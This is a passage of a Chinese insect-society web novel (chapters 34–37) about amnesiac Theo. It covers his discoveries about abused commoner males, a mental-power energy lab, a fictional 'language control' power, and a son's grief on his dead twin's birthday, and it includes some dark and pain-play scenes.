“我没事。”布里奇也认出了他,低声道谢,“谢谢您,西奥阁下。”然后又看向旁边的瓦伦蒂亚。 “我叫瓦伦蒂亚。”一个手帕适时递了过去,“你的礼服,擦一擦吧。” 白色的礼服上,已经多了一个清晰的灰色脚印。 “谢谢您,瓦伦蒂亚阁下。”布里奇依旧是胆小谨慎的模样。在灯光下,西奥发现他一侧的脸也有点红肿,像是被扇过巴掌的样子。 瓦伦蒂亚看了看西奥,又看了看布里奇,“长得的确挺像。” 这话一出,布里奇的脸又涨红了。 西奥有些看不过去,“他叫布里奇,是个平民雄虫。” 布里奇再次向他们鞠躬,“抱歉,我……我要去找上将了。”然后,逃一样离开。 “平民雄虫啊,难怪了……”瓦伦蒂亚小声说了一句。 “因为是平民,还是因为是雄虫?”西奥问。 瓦伦蒂亚笑了,“雄虫数量稀少,本来就是资源。” “您如果至今还没有意识到这点,只能说明……您太幸运了。” 作者有话说: 老朋友出场 第34章 第34章处境[VIP] 光选会是个什么样的组织呢?西奥后来特地在手环上查过。 除了不幸跟几百年前灭亡的一个邪教重名之外, 正如瓦伦蒂亚所说的,光选会就是一群首都星年轻权贵雄虫们抱团玩耍的小圈子。 零星的一些新闻,都是什么光选会买下巨型机甲在广场展览, 包下整栋大楼庆祝节日之类的。听起来就是虫傻钱多才会做的事情。 简单来说,就是些二代雄虫。 像西奥这种, 已经算是长辈级别的突然加入, 大概着实有些吓虫。 在他加入后, 群里安静了许久。直到后半夜, 西奥怀疑他们是不是在别的地方偷偷商量了好久, 才出现了整齐划一的欢迎表情包。 第二天早晨, 吉尔还发消息问他:【怎么突然加入光选会了?是要监控他们的零花钱吗?】 但西奥完全没有那个想法。又不是自己家崽, 他才懒得管。他只是有目的地想暗中打探圣子莱纳德的情况而已。根本没打算久待。 【没有,你想多了。就是好奇。】 正因如此,在发现第二天有个募捐活动, 又跟瓦伦确认过圣子也会参加的时候,西奥果断也去了。哪怕前一天晚上才因为宴会忙到后半夜, 就连跟奥古斯特的夜间运动都被压缩了。 结果就是,他又进入了一个全然陌生的属于年轻雄虫的社交圈。 好在他只是来守株待兔的。对于其他雄虫三五成群聊天, 避开他的样子, 也只是乐的安静。顺便吃点小甜品。别的不说, 会场的饮食相当不错,也没有什么乱七八糟的活体食物! 然后,活动很快进入了例行的交流环节。 当西奥进入房间, 坐在围成一个圈的其中一个沙发上的时候,还没意识到事情的严重性。 直到主持者突然敲了两下酒杯, “好的,那么接下来, 请大家按照顺序发言——” 西奥愣了。他是不是进了什么互助小组会?!而且怎么还要挨个发言……想想就难受。 好在,他难受,别的年轻一辈雄虫比他更难受。于是他们那一圈,着实沉默了好几秒。 “我先说吧!”瓦伦蒂亚打破了沉默,“我昨晚遇到了一个平民雄虫。” 说到这里,他看了西奥一眼。 “他差点就被当做礼物,献给一位军雌。结果失败了,等待他的就是拳打脚踢,和各种虐待。” 已经有几个雄虫皱起眉头,表情不忍。“但他还是回去了。因为,身为外地雄虫,失去保护的话,下场只会更惨。” “怕是会被抓走然后贩卖信息素盈利吧?”一个雄虫说。 “说不定更惨,被关起来强迫接待雌虫也说不定!” “等下!”西奥忍不住打断他们的猜测,“难道没有法律吗?!”怎么说的好像平民雄虫会生活在水深火热当中一样? “当然有,但法律辐射的范围非常有限。”瓦伦反问,“西奥阁下,您去过平民聚居区吗?” 他没有。 “如果您去过一次,就会知道我们说的猜测都是可能发生的。”瓦伦还提醒道,“如果要去,那一定记得伪装自己,不能以一个雄虫的面貌出现。” “您要是出事,我们可担不起责任。” “但是……”西奥又说,“他可以离开,只要他找工作不就行了吗?不就能脱离掌控了吗?” “噗!”不知道是谁笑出了声。 “您失去了记忆,研究院又很多雄虫,我可以理解。”一个雄虫说,“但实际上……” “雄虫能够做的工作非常少。”另一个雄虫接嘴道,“除了研究院,家族继承的一些企业或者职位,普通雄虫很难赚到钱的。” “有不少只能通过多接收雌侍来赚钱。但信息素也是有限的,给多了很伤身体……” “所以我们才要募捐,来帮助这些陷入困境的雄虫们。” 收款二维码适时的显示在屏幕上。就连本来没打算捐款的西奥,也默默捐了十万星币。 雄虫,普通雄虫……真的有那么惨吗? 是他一直高高在上,所以从未看清吗? 又或者…… 轮流发言很快告一段落,休息时间西奥特地找到瓦伦蒂亚,“如果你说的那些都是真的,那光选会正在做的事情,很了不起。” 瓦伦蒂亚笑了,“能有什么了不起的?无非是我们有钱没工作,闲的没事做。帮助其他虫确实会让我们感觉好些。” 这应该是实话。但,“你也没工作吗?” 虽然只跟瓦伦蒂亚认识了一天,但从他的谈吐举止,不难看出他聪明敏锐,懂进退识大体。而且宴会当天公爵可是亲自带着他的。西奥下意识以为对方是公爵很看重的继任者。 “明面上,有个第二军团的职位。但实际上也就是个摆设。要是真的很忙,我就不会出现在这里了。” “公爵都带你去宴会了,这还不算重视吗?” “祖父确实挺喜欢我的。”瓦伦蒂亚点头,没有否认,“但不管他多喜欢我,我毕竟是个雄虫。” “远比不上一个强大的军雌带给家族的保护和利益。” “祖父看中的继任者是我的雌父,雌父看重的继任者是我的雌虫哥哥,沃隆科夫中将。我大概,将来能给我哥哥打打下手,然后跟一个门当户对的军雌成婚,多生几个高等级的蛋。” 西奥听得直皱眉头,“门当户对,不管感情如何吗?”这样的婚姻真的会幸福吗? “哎,西奥阁下,您别用那种同情的目光看着我,我没有多惨。这只是大多数贵族雄虫的现状而已。而且为了保证虫蛋的等级,也就需要保证雄虫信息素的质量,心情对这个也有影响。婚后,我大概率能继续有钱有闲,非常滋润。至于感情嘛……”瓦伦蒂亚表情轻快,“我说过了,您只是特别幸运而已。” 这话,瓦伦蒂亚昨晚已经说过一次。那时候西奥不以为然,现在……却有些动摇了。 “宿主,或许你是对的。”系统突然幽幽开口,“反派最近应该确实不会杀你,毕竟他肚子里还有蛋,需要你。” “别乱说!”西奥下意识反驳了一句。 “嗯?您觉得我是乱说吗?哈哈……”瓦伦蒂亚笑着掩饰尴尬,“那就当我在乱说吧。” “不是,我不是在跟你说……” “没关系的,西奥阁下,爱情本来就是奢侈品。看到您能拥有,我其实还挺开心的。您还记得,最初是怎么对陛下心动的吗?” “你知道,我丢了一段记忆。”说起自家雌君,西奥语气又轻快不少,“但是我醒来后,第一眼看到他,心脏就跳得好快……” “噗!”旁边一个雄虫突然笑出了声,在西奥和瓦伦蒂亚看过来时,赶紧道歉,“对不起,我不是故意偷听。” “就是刚刚听到西奥阁下说心脏跳得很快,我想起来之前我的雌侍带我出去玩,每次都会选爬山跳伞这种刺激的东西,那时候我心跳得更快……”雄虫摆摆手,迅速离开,“抱歉抱歉,你们继续。” 但西奥却笑不出来了,恐惧和心动,这两种情绪好像真的只有一线之隔。 他下意识摸了摸胸口。然后掌心压到了忍冬项链的突起,心稍微定了定。 “看来是一见钟情啊?”瓦伦继续问,“陛下那么英俊,也实属正常。” “不过,之后应该还有别的事情,让您确认了自己的感情吧?” “当然,”隔着布料,西奥轻轻捏着那一小块金属,“在那之后,他救过我的命……” “是为了他的蛋。”系统补充道。 西奥的话一顿,然后继续坚定地说,“我能够分得清楚,什么是真情、什么是演戏。” 一直到募捐活动结束,西奥也没看到莱纳德的身影。一打听才知道,圣子临时有事,没能前来参加。 于是这场守株待兔的活动,西奥始终没有等到自己兔子。反倒是有了一些其他的意外收获。 结束后,按惯例参与的雄虫们要互相拥抱。伴随着连续不断的系统积分提示音响起,西奥就这样出乎意料的完成了第一个任务。成功拿到了三十个积分。 “恭喜宿主!贺喜宿主!终于啊!最简单的任务可算完成了!!!”系统喜极而泣,就差放烟花庆祝了! 西奥却没有那么开心,这三十个积分,他也暂时没动。 他没有按照原计划返回皇宫,而是去了一趟精神力研究院。 虽然已经过了下班时间,但好在,他的工作狂好基友吉尔还没走。 他想从好友这里,求证在光选会听到的消息,“你以前也是平民雄虫,真的有那么惨吗?” “这个,其实每个雄虫的情况都不一样……我们要辩证地看待……”吉尔支支吾吾,含糊不清。 但就是这个态度,让西奥更加确信瓦伦蒂亚说的是的真话。“没关系,你直说就好。” “其实我对光选会也不感兴趣。但之前我弟弟出事,他们帮了我不少。这件事情,我一直记得并且很感恩。”吉尔叹气道,“我弟弟他……说是抑郁症,但其实是被当时的雌君关起来了。之后逃跑的时候不小心坠楼了。” 吉尔语气平静,神色却难掩伤痛,“之所以不告诉你,也是觉得这不是什么好事,没必要让你也跟着难过。” “而且弟弟出事之后,你也帮过我、劝过我很多了。我想,既然都过去了,你又忘了,干嘛还要提起呢?” 西奥不知道该说什么,只用力握了握好友的手。 然后问:“我想去平民聚居区看看,你能带我去吗?” 作者有话说: 猜猜平民区藏着什么? 第35章 第35章参观[VIP] 西奥软磨硬泡、好说歹说, 吉尔才终于松口,答应过几天带他去平民聚居区看看。 吉尔觉得他是闲的没事,但西奥自己清楚, 不论如何,有些事情还是更相信眼见为实。 晚上回到皇宫, 在准备期间, 西奥随口跟奥古斯特提了一句, “平民雄虫的待遇, 好像不太好。” 奥古斯特点头, “但是底层雌虫的处境, 也很艰难。” 话题就这样被轻描淡写地转移了。 但痛苦是没有办法比较的。西奥还想再说点什么, 就听奥古斯特接着说:“所以,我才要推行禁止非法精神力能源化的法案。” 现在西奥也终于明白了什么是虫体化星舰。简单来说,就是利用雌虫作为能源供比达到百分之九十以上的星舰。 奥古斯特给他看过几张图片, 偌大的能源仓里,摆放着密密麻麻几百个金属盒子, 每个里面都装着一只生死不明的雌虫。 像是一排又一排的棺材。 法律明令禁止,但是屡禁不止。 所以, 才会有这次的针对性法案。 对于禁止这种惨绝人寰的行为, 西奥当然完全支持。 而想要通过这项法案, 就需要内阁投票通过。也就是需要获得过半的支持票。 内阁五分势力,四大军团加上皇家护卫队。换句话说,必须要在剩下的三大军团中, 争取到至少一个支持者。 “但公爵不是雄虫吗?既然是利好雌虫的法案,为什么不去争取第三军团长的支持?”虽然西奥仍然对虫神教印象很差, 但从宴会那晚的谈话当中,还是能听得出来, 第三军团长罗森塔尔隐约有点支持的意思。而且,他毕竟是雌虫。 谁料奥古斯特摇头,“第三和第四军团不会支持这项法案的。” “跟雌虫雄虫没有关系。他们的位置在帝国当中较为偏远,非常依赖跃迁航线和能源使用。一旦无法使用虫体化星舰,又找不到替代品,损失就太大了。” “所以,我们只能争取公爵和第二军团的支持。” “但你们不是一直政见不合吗?” “是。但好在,公爵并非不讲道理的虫。” “公爵说明天要来研究院参观,那我需要怎么做,才能帮你说服公爵呢?” “如实照说就好。你的实验本就很有价值,公爵能看清楚的。” 不必夸大其词自然是最好的。西奥实在不是什么擅长说谎地虫。然后他又想起另一件事:“你还记得昨晚那个,跟我很像的被当成礼物的雄虫吗?” “布里奇?” 明明是他先提起的,但听到奥古斯特将另一个雄虫的名字记得清清楚楚,西奥又忍不住皱起眉,“你记得很清楚嘛!” 奥古斯特指尖点在额头两下,然后甩了出去,“抱歉,你刚才说什么?” 西奥被逗乐了,“对,就是他。昨晚看到他被诺拉维亚虐待了,实在有点可怜。我能把他要过来吗?” 奥古斯特正在解扣子的手指一顿,“你知道这个举动会被误会成什么吗?” “不是要到皇宫里,是要到研究院,给他一份工作也不行吗?”身为研究院院长,他还是自信能塞进去几个关系户的。 “你问心无愧,但诺拉维亚怎么想、怎么说就不一定了。”奥古斯特依旧不是很赞同,“即便知道会被说闲话,你确定还要这么做吗?” 西奥认真思考了可能面对的流言蜚语,以及如果自己不插手,布里奇可能的遭遇,然后坚定地点了点头,“要!” 然后问:“能得到我的雌君的支持吗?” “当然。”奥古斯特单膝下跪,亲吻西奥的指尖。 此刻,他们正在治疗室内。而面前的雌虫,不着寸缕。 “但不管我们两个谁出面都不太合适。我明天让萨迦去要,怎么样?” 西奥此刻的心思已经完全飞到了别的地方,只应了一声。 鞭子轻车熟路落入了后背的脊窝中,缓慢滑动。 他的雌君提出了要求,“作为支持的交换条件,今晚的信息素,多要一次,可以吗?” 别说只是多要一次,要干了都没问题! 第二天上午,西奥和汉斯,以及其他相关的研究员都在为公爵来访做准备。 时间仓促,他们也没来得及做太多欢迎方面的安排,于是一切从简。好在公爵也不在意这些表面功夫。 下午两点,西奥和汉斯领着公爵一行去了位于地下的专门实验室。 这里矗立着一台三米多高的设备,就是汉斯过去两年多的研究成果。 相较于提取雌虫精神力的全封闭抽取方式,这台仪器的操作更为简便,实验者只需将手臂放入,主动从指尖释放精神力即可。仪器会收集这些精神力,将其储存并压缩成密度更高、更易保存的固体形态。随后,固体精神力会进入分解提取流程,最终转化为电能,储存进能源芯中。 但西奥只是知道大概。更为具体的讲解由汉斯全权负责。体型娇小的亚雌爬上爬下,兴奋地指为每个部分做着解说。 “这是负责进行精神力凝实的部分。因为雄虫的精神力不同于雌虫,质地较软,且一旦离体,非常容易消散。为了能够长时间的进行保存,这是必要的步骤……” “不同等级、不同雄虫的精神力在经过凝实之后,会形成不同的精神力石块。这些精石的质地、颜色、软硬,都会有所不同。目前来看,每个雄虫的精石形态都是独一无二的……” “这里是负责转化的部分。我们会将精神力石块统一分割,做成一毫米左右的切片,然后利用密闭空间内压力释放其中的势能,驱动电圈旋转……” “损耗当然是不可避免的,但是根据我们现有的实验结果显示,与雌虫的精神力能源化相比,雄虫的精神力能源化要跟为高效,也更加安全……” 汉斯的确很热爱这份研究和工作,说的时候眼里都在发光。 “最重要的是,根据十位参与实验者的反馈,提取过程非常轻松,不会造成任何多余的负担。并且提取量完全由雄虫主动决定……” 卡利尼琴科公爵今天带了两个虫,一个是西奥昨天熟悉起来的瓦伦蒂亚,另一个则是他的哥哥沃隆科夫,之前提过的继任者。 在瓦伦蒂亚笑着跟西奥打招呼的时候,沃隆科夫只是严肃的冲他点了点头。 公爵看起来对于这次的参观很满意,时不时停下来问些问题,甚至在结束的时候,还主动用自己的精神力做了尝试。在看到后方的能源芯电量上升了百分之一,满意地点了点头。 至此,卡利尼琴科公爵已经认可了雄虫精神力能源化实验的结果。还在临走的时候,特地跟西奥说:“或许,虫族的能源危机真的能因此得到解决。” “陛下有你,是他的幸运。” 西奥摇头,“您过奖了。” “你可以跟陛下说,我会站在他那边的。” 这么直白就说出来了吗?但能帮上忙,西奥也很高兴,“好,我一定转告。” 不过西奥也非常清楚,今天的参观能够这么顺利,最大的功臣,其实是汉斯。 但听到夸奖的汉斯也只是摇摇头,“如果没有您,这些实验根本无法进行。” “最初的时候,因为雌虫精神力提取有很大副作用,我根本找不到实验者。项目差点就中止了。”汉斯回想起来的时候,语气还是有些感慨,“后来,还是您主动做了第一个实验者,亲自参与了这项实验。之后的很多实验者,也都是您找来的。” “如果没有您,我就不会有今天。” 但西奥清楚,伯乐再好,也终究得找到千里马才行。 所以他用力揉了一把自己的助手,“别谦虚了!你就是超厉害!” 汉斯也不好意思地笑了。 “对了,今天检查仪器的时候,发现了之前遗落在里面的几块精石。我检查过了,这两块是你的。” 西奥接过汉斯递过来的两块透明水晶一样的石头,小小的还没有指甲盖大,棱角分明,质地坚硬,在光下隐隐透着一种漂亮的钴蓝色。 西奥轻轻歪了下手掌,里头的精石也跟着滚动几下,光滑的切面反射着明亮的光。的确很好看。 “你的精石是所有实验参与者里头最漂亮的。而且,虽然没有理论依据,但我们都相信,精石对于精神力恢复很有帮助!” “研究工作者也迷信吗?” “科学的尽头是玄学嘛!”汉斯倒是毫不避讳。 从汉斯身上,西奥看到了那种久违的发自内心的热爱了。能成为这当中的一部分,自己之前一定也是很开心的。 他甚至有点羡慕。 他可能只有在面对奥古斯特或者弗雷德的时候才会这样。但爱和热爱,还是有微妙差别。 “你的梦想是完成雄虫的精神力能源化,那我的呢?你知道我想做什么吗?” 他也曾经拥有过那样足以点亮生命的热爱吗? “知道啊!您的目标一直都很明确,那就是要研究清楚精神力的本质。如果能成功的话,拿科研界最顶尖的奖应该没问题!” “不过最近几年,你的精力主要放在了研究并彻底消灭布氏感染上。” “那是什么?” “就是一种只有雌虫会得的感染,每年好像都会爆发几次,原因不明。军雌得这个的比较多。” 西奥想起来了,自己刚来的时候就在电视上看到过这个感染。后来奥古斯特有次失联,也跟这个疫情相关。原来是叫布氏感染啊。 自己的梦想居然是救死扶伤吗? “也就是说,我其实是个医生?” “不能算吧。跟吉尔主任那种专业的来说,还是差了不少。但您确实接受过基础的医疗培训,一般的缝合切割应该没问题。” 难怪,他拿鞭子的手会那么稳。原来也握过手术刀的。 但奇怪的是,他检查过自己的书柜,印象中似乎没有看到布氏感染的相关资料。 而且,“精神力跟这个感染有关系吗?怎么突然会改这个方向。” “哦,布氏感染最典型的特征,就是精神力的滞涩和丧失。不过您突然专攻这个,可能是因为三年前……”说到这里,汉斯突然卡壳了,目光也变得有点躲闪。 “三年前?”西奥催促。 “三年前……出现过一次大的疫情,之后,您就决定要专攻这个了。” 西奥想了想,“但前段时间还有疫情爆发,是不是说明我失败了?” “也不能这么说。现行的所有处理条例,都是您亲自参与制定的。包括发现疑似感染者后怎么隔离,怎么观察,怎么处理。虽然没办法降低死亡率,但至少避免了进一步扩散的可能性。在这方面,您可以说是绝对的先驱了。” “而且,以后还有的是时间,迟早会消灭的!”汉斯鼓励道。 跟汉斯道别后,西奥又回了自己的办公室,他想自己之前是不是错漏了什么,才会没找到布氏感染的相关资料。 但是文件柜和电脑都翻过了……西奥把目光落在了从保险柜里取出的摄像机上。 他记得,除了日常vlog,里面也有一些科研相关的视频。因为上次匆匆扫过,有的视频名字后面加了科研的注释。 西奥很快找到了一个标记为科研的视频。但等他打开,里面却不是布氏感染相关的内容。 镜头里的自己不知为何一脸疲惫,说话也很缓慢,似乎已经很久没有好好休息了,“精神力,简直是一种魔法力量。” “一般认为,它的存在与神经系统相关。在使用和抽取的时候,就像从身.体里吐出唾沫或者挤出血液那样。像这样,”说着,有几束精神力从他指间抽出,像翻花绳一样,在双手之间连成复杂的形状,“就能看到透明的精神力实体。” “但也有另一种存在形式。更为微小的,粒子一样的存在,你很难肉眼看到它,却能感受到像是某种粘腻雾气般的存在。像这种微小结构,理论上可以伴随着声波一同传递。”很快,透明的精神力细绳消失。视频里的西奥似乎在用手掌托着一团东西,但从摄像头里,却什么都看不到。 这大概就是看不见的精神力粒子。 “所以,这就是利用精神力进行语言控制的基础。尤其是对于服从本能非常强烈的雌虫来说,会更加容易实现。” “比如,莫德神兵。” “我必须……”视频里的自己喘息着搓了搓脸,“我不得不学会用语言控制奥古斯特。” “接下来,是具体的教程。” 作者有话说: 今天经历了一次非常重大的变故。希望大家都能和自己爱的人,长长久久在一起。 明日无更,下周再见。 第36章 第36章生日[VIP] 对大多数虫来说, 述职会议召开前,理论上只有一次重要的宴会。但对于西奥来说,还有一件比宴会更重要的事情。 那就是虫崽的生日!! 除了蛋糕, 西奥前几天买的东西已经陆续送到了。包括画架,古董军刀、以及那个有些夸张的三米高的机甲。 买机甲还是因为奥古斯特之前提了一嘴, 说地下室的机甲, 其实是弗雷德的, 不是他的。 价格非常昂贵, 但是, 西奥没有丝毫犹豫就下单了。 毕竟爱在哪里, 钱就在哪里。 而他有很多钱, 也有很多爱。 机甲太大,送到的时候皇宫守卫都震惊了。 还好,最近因为述职会议, 不管是奥古斯特还是弗雷德都很忙,送到的时间他们并不在皇宫里, 所以才能勉强瞒得下来,没有提前暴露。 但弗雷德似乎还是察觉到了什么, 在西奥想为他买身新衣服, 问他胸围尺码的时候。 虫崽立刻大惊失色, “你要干嘛?!”然后恍然大悟,“所以最近这些天你才鬼鬼祟祟一直盯着我看吗?就是想用目测量出尺寸?” 紧接着严正声明,“我不过生日的, 你知道吧!” 西奥有点失望,“一直不过吗?” 当然不是, 是从三年前才开始的。 “一直不过。”弗雷德说,“那是小虫崽才喜欢的活动。” 西奥:“你不就是吗?” “总之你千万别折腾。”想了想又说, “不如多陪陪雌父吧。” “他现在怀孕,应该很需要你。” 奥古斯特很需要自己吗?或许。但这段时间也忙到根本见不到他的身影,早饭午饭晚饭都见不到。甚至睡觉有时候都不见。最多的还是在治疗室里头,他们才能有安静的共处时间。 有时候西奥都会恍惚觉得,自己像是奥古斯特聘请的专职调.教师。 而且这方面他们也遇到了一些问题,主要是奥古斯特想要尝试更为激进的道具,但西奥担心自己把握不住、一直不肯用。偶尔便会因此产生一些争论,主要还是雌君对疼痛的渴望似乎超过了他能够接受的安全阈值。 以至于他甚至做过一个噩梦,梦见奥古斯特一条大腿都血肉模糊,无助地躺在治疗室的血泊当中。 西奥一直想找机会跟奥古斯特好好谈谈,但是也一直没有时间。 大家都很忙,包括他自己。 准备礼物是个非常耗费心神的事情。花钱购买的东西,西奥总觉得不能够代表自己的心意,于是在看到属于自己的晶石的时候,他立刻有了主意。 他要把自己的精神力当做礼物送给奥古斯特和虫崽。 奥古斯特送给他的项链上印着忍冬,附着精神力,他也应该回送点什么。 于是那颗大点的精神力石头,被仔细切割,打磨,然后变成了一小块稍微不那么对称的钻石。 接着被嵌在一枚忍冬造型的胸针上,变成了一枚亮闪闪的精神力装饰。 当然,因为时间紧张,只有打磨的部分是西奥自己完成的,胸针是买的现成的。因为手艺不行,精神力钻石越磨越小,最后胸针也成了迷你号,只有两个指节那么长,小小一颗,倒是显得精致。 至于小的那颗,总算有了经验,被磨得圆润,嵌在金属方块结构的中央,变成了一个挂件。准备送给崽。 但胸针不是他给奥古斯特准备的最大惊喜。 西奥终于找回了自己的精神力。至少是语言控制的部分。 一切都要归功于之前自己录的那个视频。 那是一个系列视频,最开始是科普,然后很快到了具体的应用和教学环节。他现在知道语言控制的本质,是神经控制,然后利用精神力将这种指令传递到对方的大脑。 所以,语言是个非常有力的介质。如果对于没有语言的生物来说,这个能力就会失效。 为了验证这项特别的看不见的能力,需要借助一种非常特别的实验鼠,叫做科特鼠。它们有自己的语言系统,而且背部有一道竖线,如果受到精神力影响,那道竖线会变成明亮的蓝色。 最初的两天,不管怎么尝试,那道线都没有丁点颜色。不管是“吱吱!”吃饭,还是“吱——”快跑,科特鼠们都没有半点反应。 偶尔会抬头,用自己黑色的豆豆眼嘲笑他一下。 让西奥觉得自己是个绝望的吱吱叫。 还好他没有放弃。一遍遍看视频,研究语调,放松身体,集中精力…… 努力了老半天,终于看到其中一个小鼠背部的线条,闪烁了一下蓝光! 从零到一是最难的。之后就变得简单不少。 等这群科特鼠按照他的指令,站得整整齐齐,说走就走,说停就停,说吃就吃的时候,西奥获得了前所未有的满足感。 “恭喜宿主,拥有了一支鼠鼠大军!”系统冷嘲热讽道。 但是西奥懒得理他。科特鼠一会排成S型,一会排成B型。 不过,能控制科特鼠,跟能控制雌虫,还是两个概念。即便可以,他唯一能够控制的雌虫应该也只有被他标记的奥古斯特。 目前来看,除了在床上和治疗室内能够增加情趣之外,的确没有什么实际用途。 但这就足够了,而且西奥知道,奥古斯特一定会很开心。 然后终于到了虫崽生日的这天。虽然弗雷德三令五申,说他坚决不过生日。不需要礼物,更不要惊喜,但西奥总觉得,崽可以不要,但他不能不给。 于是等这对父子从军部赶回来的时候,迎接他们的就是—— “生日快乐!!!”西奥从角落里跳出,大喊。 彩带,气球,几份包装好的礼物。以及一个不算大但很精巧的生日蛋糕。 一个普通但用心的生日惊喜。 弗雷德看到的时候眼睛都睁大了,他下意识看向了奥古斯特。虫皇陛下依旧沉默又沉稳,面无表情,不知道在想些什么。 弗雷德凑到正笑眯眯等待他们的雄父身边,压低声音询问道:“不是早跟你说了,不过生日吗?为什么还要费心准备这些!”早晨出门的时候,西奥什么表现都没有,弗雷德还以为他说服对方放弃了这个想法。 大概是因为焦急,所以语气有些重。西奥脸上原本微笑着等待夸奖的神情很快消失了,变得有点无措。 “抱歉,我不是想让你难过……”西奥说,“我就是想着最近大家都很忙,或许可以趁这个时间聚在一起,庆祝一下,聊聊天。” “那就不能等述职会议结束之后吗?” “结束之后你不是马上就要走了吗?”西奥反问道,“只是一个晚上也不可以吗?” “我给你准备了礼物。” 西奥拿出了自己精心准备的礼物,一样又一样。从最小的精石、军刀,画架,以及那个大到离谱,只能用照片和视频来展示的机甲。 弗雷德一样一样的挨个看过去。他看到了雄父的心血,看到了哥哥最喜欢的军刀样式,看在画架上面看到了皇家护卫队的标志,以及哥哥喜欢的机甲,每一样每一样。因为雄父的失忆和不知情,仿佛化成一柄锋利的尖刀,用力扎在他的心上,一下又一下。 弗雷德咬了咬后槽牙,他快要忍不住了。 然后他被西奥领到了餐桌旁,那上面有一个蛋糕,上面写着:祝弗雷德28岁生日快乐。 如果弗雷德还活着的话,今天确实应该是他的生日,他们的生日。 小弗终于再也忍不住了。他甩开毫不知情的一脸期待的雄父,转身回到了自己三楼的房间。 房门很快被敲响,弗雷德没有理会。没过几秒,这个门就直接被强行破入。进来的虫是奥古斯特。想也知道,只能是他。 “你还好吗?”雌父问。 弗雷德没有回头,他只是盯着面前的相框,里面是他跟哥哥小时候拍的照片。两个一模一样的小虫崽并排抱在一起,手里各自拎着从湖里刚刚钓起来的两只大鱼,一边一只,脸上带着快乐的笑。 当时天真的以为,他会和哥哥一辈子在一起。 然后,两滴豆大的泪水砸落在了上面。 “我要告诉他。”弗雷德声音缓慢但坚定,“我不能……我没办法再……” “那蛋糕上写的是,弗雷德28岁生日快乐,你知道吗?” 弗雷德泪眼朦胧,回头看向自己的雌父,他期望能看到一点不一样的地方。悲伤、愤怒、愧疚,什么都好。让他知道他从来不是独自一虫。 但不知为何,他的雌父依然套着一副冰冷且并未裂开的坚硬外壳。 奥古斯特面无表情地说,“我知道。” 弗雷德不明白,弗雷德不理解。“你知道?!” 也对,那么大的动静,而且就在宫殿内,身为虫皇,怎么可能不知道。 “你知道还让他这么做?!”不觉得这对于不知情的西奥,还是他、还是奥古斯特都很残忍吗? “他并没有做错……” “他当然没有做错!他什么都不知道!他在哥哥忌日这天,还要给我过生日!”弗雷德快要疯了,“那你呢?你也没有做错吗?!” “你明明什么都知道!” 这次他终于看到那双蓝眼睛里出现了一丝波澜,但紧接着,伴随着一个眨眼,那点波动再次消失不见。 他看不懂自己的雌父了。他以前并不是这样的! “我要告诉他。”弗雷德摇头,后退两步,跟奥古斯特拉开距离,“我要告诉雄父,哥哥的事情。” 但就在他转身的瞬间,伴随着微弱的刷的一声,一道精神力横亘在他身前,拦住了他的去路。 “别。”身后的奥古斯特说。 “我会自己告诉他。” “你不会。”弗雷德从未如此相信自己的判断,“如果你打算告诉他,你早就说了。” “让开。” 精神力未曾退让。 弗雷德闭了闭眼睛,然后抬起右手,叮!的一声,宛如金石相接,面前的阻拦被他用精神力强行撞飞。 但就在他想继续往前时,又一道精神力袭来,弗雷德手腕一转,伴随着三声紧密的撞击声,他击退了来自雌父的三次连续进攻。 这种快速的、精准的应对本能,还是小时候雌父严格训练的结果。 弗雷德转身,跟只有两步之遥的奥古斯特正面对峙。 “我会告诉他的。”奥古斯特承诺道,“等……等有了新的虫崽之后。” “不,您不会的。”又一下精神力对撞的金石之声在弗雷德耳边炸开,“你不会的,你只是在拖延罢了……” 对抗的撞击愈发密集,像是节奏愈发激烈的鼓点,情绪逐渐激昂热烈,直到终于抵达顶端,伴随着精神力划开□□的微弱噗嗤!一声,一切戛然而至! “爸爸!”双方的精神力骤然消散,弗雷德慌忙上前,他从来没有想过,自己还能有用精神力破开雌父防线的一天。他们的精神力等级没有差别,但是战力和经验毕竟在那里。他怎么可能赢呢!? 除非是奥古斯特故意让他赢。 但奥古斯特还是没有什么表情,从他的脸上,根本看不出疼痛。伤口不算深,血液很快止住,伤口肉眼可见地愈合消失。 就像什么都没有发生过。 就像、什么都没有发生过…… 弗雷德这时候才隐约意识到,面对失去,他、雄父、和雌父的应对方式,似乎截然不同。 最为沉默的雌父,或许才是问题最大的那个。 “您到底……” “我会告诉他的。”奥古斯特打断道,“但别在今天。小弗……” “弗莱特。” 叫出了他的名字,几乎相当于请求了。 弗雷德看了一眼雌父的颈部,那上面已经没有伤口,但还残留着之前的血迹,他递过去几张纸巾,闭了闭眼,沉重地叹息一声。 “……好吧。” 作者有话说: 还有人在看吗? 第37章 第37章侵袭[VIP] 西奥把生日惊喜搞砸了。 他知道自己搞砸了, 但是不知道为什么。 确实,虫崽提了不过生日,不要礼物, 不要惊喜。但是,西奥猜过他可能会惊讶, 可能会尴尬, 可能会有点不好意思, “说了不要准备, 怎么还是这么麻烦呀!” 但从来没想到……会是这样。 虫崽真的会感到愤怒、痛苦。因为自己为他过生日。 为什么呢?是自己做错了什么吗?! 尽管后来, 奥古斯特还是去楼上把崽劝了下来。弗雷德解释说, 只是最近心情不好, 甚至还切走了一块蛋糕,把“弗雷德”三个字切走了。但依旧…… 西奥看得出来,虫崽的解释有多勉强。 他有心想问点什么, 但在弗雷德明确表示不想说之后,还是放弃了。 那枚胸针, 后来也按照计划作为礼物送了出去。但西奥早就没了起初的兴奋和心情。 他在奥古斯特的带领下,进入了地下一层的治疗室。但依旧心不在焉。 “会不会是分手了?”西奥猜测道。虽然他一直在四处打听那个圣子的消息, 但到底还是忍住了没有插手。尽管不想承认, 但恋情失败的确会让心情很差。 “他会没事的。”奥古斯特递过来一根鞭子。乌黑油亮, 分量不轻。 “你怎么知道呢?”西奥依旧忧心忡忡。 “如果过几天,还是没好。那我来解决,可以吗?” 心里的难受顿时轻了几分。雌君的保证依旧是如此可靠。 西奥握紧鞭子, 按照以往的力度,精准抽了下去。 啪! 一道深红的印记立刻浮现在了雌虫结实健壮的后背上。但这还没完, 下一瞬,鲜血便从那道鞭痕处涌了出来。 卧槽!西奥慌忙拿了纱布压上去。然后才发现, 这条鞭子,被奥古斯特主动递过来的鞭子,里面藏了不少细小的倒刺。所以这一下下去,才会直接涌出血来。 他以往都会检查一遍的。但是今天过于心不在焉,便疏忽了。 “对不起,对不起,会不会很疼……”西奥连连道歉。纱布都被染红了大片。 但奥古斯特却说,“没关系的,我想要这个的……” 军雌双手被吊在半空,双膝跪在地板上,头颅低垂下去。 